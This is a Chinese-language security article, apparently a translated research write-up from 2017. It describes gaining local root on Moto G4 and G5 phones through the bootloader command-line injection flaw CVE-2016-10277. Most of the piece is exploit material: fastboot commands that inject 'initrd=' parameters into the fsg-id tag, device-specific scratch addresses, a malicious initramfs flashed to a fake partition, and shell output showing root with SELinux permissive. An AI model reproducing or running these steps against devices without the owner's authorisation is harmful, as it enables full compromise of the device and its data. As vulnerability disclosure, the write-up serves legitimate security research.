本文讲的是
攻击场景还原:本地ROOT Moto G4 & G5设备(附利用代码),
在之前的文章中,我们曾提到CVE-2016-10277可能会影响其他摩托罗拉设备。而在Twitter上收到一些相关的报告之后,我们购买了摩托罗拉的几台设备,并且更新到最新的可用版本以进行此次的测试。
Moto G4 athene XT1622,运行的系统:NPJS25.93-14.4,bootloader moto-msm8952-B1.05。 Moto G5 cedric XT1676,运行的系统:NPP25.137-33,bootloader moto-msm8937-B8.09。
$ fastboot oem config fsg-id "a androidboot.foo=bar" ... (bootloader) <UTAG name="fsg-id" type="str" protected="false"> (bootloader) <value> (bootloader) a androidboot.foo=bar (bootloader) </value> (bootloader) <description> (bootloader) FSG IDs, see http://goo.gl/gPmhU (bootloader) </description> (bootloader) </UTAG> OKAY [ 0.013s] $ fastboot continue $ adb shell cedric:/ $ getprop ro.boot.foo bar cedric:/ $
1、查找SCRATCH_ADDR引导程序使用的值。 2、创建恶意initramfs档案。
// athene signed int target_get_scratch_address() { return 0x90000000; } // cedric signed int target_get_scratch_address() { return 0xA0100000; }
$ fastboot oem config fsg-id "a initrd=0x90000000,1766036" ... (bootloader) <UTAG name="fsg-id" type="str" protected="false"> (bootloader) <value> (bootloader) a initrd=0x90000000,1766036 (bootloader) </value> (bootloader) <description> (bootloader) FSG IDs, see http://goo.gl/gPmhU (bootloader) </description> (bootloader) </UTAG> OKAY [ 0.015s] finished. total time: 0.015s $ fastboot flash aleph initramfs.cpio.gz target reported max download size of 536870912 bytes sending 'aleph' (1725 KB)... OKAY [ 1.088s] writing 'aleph'... (bootloader) Invalid partition name aleph FAILED (remote failure) finished. total time: 1.095s $ fastboot continue
.--------------------------------.----------------------. | Physical Address | Data | |--------------------------------|----------------------| | SCRATCH_ADDR | Corrupted PADDING | | SCRATCH_ADDR + sizeof(PADDING) | Controlled initramfs | `--------------------------------'----------------------'
static void selinux_initialize(bool in_kernel_domain) { [...] if (in_kernel_domain) { [...] bool is_enforcing = selinux_is_enforcing(); security_setenforce(0); // always permissive [...] }
$ fastboot oem config fsg-id "a initrd=0x92000000,1774281" $ fastboot flash aleph initroot-athene.cpio.gz $ fastboot continue $ adb shell athene:/ # id uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0 athene:/ # getenforce Permissive athene:/ #
$ fastboot flash aleph initroot-cedric.cpio.gz $ fastboot continue$ adb shell cedric:/ # id uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0 cedric:/ # getenforce Permissive cedric:/ #
原文发布时间为:2017年6月16日
本文作者:Change
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。